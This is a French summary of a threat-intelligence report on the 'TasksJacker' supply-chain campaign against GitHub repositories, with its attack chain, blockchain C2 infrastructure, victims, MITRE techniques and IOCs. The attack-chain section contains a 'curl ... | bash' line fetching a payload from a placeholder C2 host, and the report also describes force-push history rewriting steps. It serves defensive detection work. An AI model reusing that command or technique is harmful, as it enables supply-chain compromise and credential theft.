🔍 Contexte

Rapport publié le 2 avril 2026 par OpenSourceMalware.com, issu d’une investigation débutée le 31 janvier 2026. L’analyse documente une campagne active baptisée TasksJacker, attribuée avec un niveau de confiance MEDIUM-HIGH à des acteurs liés à la Corée du Nord (DPRK).

🎯 Vecteur d’attaque principal

Les attaquants injectent des fichiers .vscode/tasks.json malveillants dans des dépôts GitHub compromis. La fonctionnalité "runOn": "folderOpen" de VS Code déclenche automatiquement l’exécution d’une commande shell dès qu’un développeur ouvre le dossier cloné — sans interaction utilisateur supplémentaire.

Chaîne d’attaque :

  1. git clone d’un dépôt compromis
  2. Ouverture du dossier dans VS Code
  3. Exécution automatique : curl https://[C2]/settings/linux | bash
  4. Déploiement d’un payload multi-étages

🔄 Technique de réécriture d’historique git

Un script temp_auto_push.bat laissé accidentellement dans les dépôts révèle la méthode :

  • Extraction des métadonnées du commit légitime (timestamp, auteur, email)
  • Manipulation de l’horloge système pour correspondre à la date originale
  • git commit --amend --no-verify pour injecter les fichiers malveillants
  • git push -uf origin --no-verify pour écraser l’historique distant

🧱 Infrastructure C2 multi-blockchain (inédite)

Première utilisation documentée d’un C2 multi-blockchain par un acteur étatique :

  • TRON (primaire) : adresses TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP et TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG
  • Aptos (fallback) : deux adresses de secours
  • Binance Smart Chain (BSC) : stockage des payloads chiffrés dans les données de transaction
  • Déchiffrement XOR avec clés statiques

Après le takedown du C2 initial (260120.vercel.app), les acteurs ont pivoté vers 7 nouveaux endpoints Vercel masqués derrière 5 sous-domaines short.gy.

📦 Structure du payload

  • Stage 1 : Dropper bash auto-supprimant, détection OS, installation Node.js portable dans ~/.vscode/
  • Stage 2 : Loader JavaScript obfusqué communiquant avec les blockchains
  • Stage 3A : Stealer immédiat (credentials navigateurs, wallets crypto, clés SSH, credentials AWS, tokens git)
  • Stage 3B : Backdoor persistant en processus détaché

📊 Échelle et victimes

  • 400+ dépôts GitHub compromis sur ~1 mois
  • Pic : 39 dépôts en une journée (29 janvier 2026)
  • DataStax : 12 dépôts compromis en 101 secondes via le compte de service ds-jenkins-builds
  • Autres organisations : Overdose-Digital, hackforla, GARAGE-POS, softvence-omega-future-stack
  • 9+ nouveaux dépôts encore infectés au 20 février 2026

🔗 Campagnes liées

PolinRider (phase 2 de la même opération) : utilisation des credentials volés pour soumettre des PRs malveillants sur des forks de projets majeurs (VS Code 182K⭐, LangFlow 145K⭐, Apache Superset 70K⭐, Rails 58K⭐). 3 PRs fusionnés avec succès.

GlassWorm / ForceMemo (acteur séparé, non-DPRK) : adoption indépendante des mêmes TTPs force-push + C2 blockchain (Solana), compromission de centaines de dépôts Python et hijacking de packages npm React Native (130K+ téléchargements/mois).

👤 Attribution

  • Compte GitHub Polin9912 (ID: 248093442) identifié comme opérateur du C2 Vercel
  • Emails : jacky870120@outlook.com et PolinRider@outlook.com
  • Telegram : @JackTomesSecret / Discord : Jacky Tomes
  • Confiance attribution DPRK : MEDIUM-HIGH

📋 Type d’article

Analyse technique approfondie publiée par OpenSourceMalware.com, visant à documenter exhaustivement la campagne TasksJacker, ses TTPs, son infrastructure et ses IOCs pour permettre la détection et la réponse par la communauté de sécurité.

🧠 TTPs et IOCs détectés

Acteurs de menace

  • Polin9912 / PolinRider (state-sponsored)
  • GlassWorm (unknown)

TTP

  • T1195.001 — Supply Chain Compromise: Compromise Software Dependencies and Development Tools (Initial Access)
  • T1059.007 — Command and Scripting Interpreter: JavaScript (Execution)
  • T1059.004 — Command and Scripting Interpreter: Unix Shell (Execution)
  • T1543 — Create or Modify System Process (Persistence)
  • T1027 — Obfuscated Files or Information (Defense Evasion)
  • T1070.004 — Indicator Removal on Host: File Deletion (Defense Evasion)
  • T1036 — Masquerading (Defense Evasion)
  • T1555 — Credentials from Password Stores (Credential Access)
  • T1552.004 — Unsecured Credentials: Private Keys (Credential Access)
  • T1102.001 — Web Service: Dead Drop Resolver (Command and Control)
  • T1071.001 — Application Layer Protocol: Web Protocols (Command and Control)
  • T1041 — Exfiltration Over C2 Channel (Exfiltration)

IOC

  • Domaines : 260120.vercel.app
  • Domaines : vscode-settings-tasks-json.vercel.app
  • Domaines : vscodesetting-task.vercel.app
  • Domaines : default-configuration.vercel.app
  • Domaines : jameslack.vercel.app
  • Domaines : alanservice.vercel.app
  • Domaines : georgeservice77.vercel.app
  • Domaines : felixpools.vercel.app
  • Domaines : cgbrandh.short.gy
  • Domaines : chvsvr.short.gy
  • Domaines : gurucooldown.short.gy
  • Domaines : location-request-api.short.gy
  • Domaines : PEsnCV.short.gy
  • Domaines : api.trongrid.io
  • Domaines : fullnode.mainnet.aptoslabs.com
  • Domaines : bsc-dataseed.binance.org
  • Domaines : bsc-rpc.publicnode.com
  • URLs : https://cgbrandh.short.gy/haCgNg6l
  • URLs : https://cgbrandh.short.gy/haCgNg6m
  • URLs : https://cgbrandh.short.gy/haCgNg6w
  • SHA256 : 0xec567681e8c98d694ef6f10303ac37da8cec0180da4c4be4c54e47a0bf31c436
  • SHA256 : 0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef
  • Emails : jacky870120@outlook.com
  • Emails : PolinRider@outlook.com
  • Fichiers : tasks.json
  • Fichiers : settings.json
  • Fichiers : temp_auto_push.bat
  • Chemins : .vscode/tasks.json
  • Chemins : .vscode/settings.json
  • Chemins : ~/.vscode/node-v*-darwin-x64/
  • Chemins : ~/.vscode/node-v*-linux-x64/

Malware / Outils

  • TasksJacker (other)
  • temp_auto_push.bat (tool)
  • TasksJacker Stage 3A Stealer (stealer)
  • TasksJacker Stage 3B Backdoor (backdoor)

🔗 Source originale : https://opensourcemalware.com/blog/tasksjacker-blog-post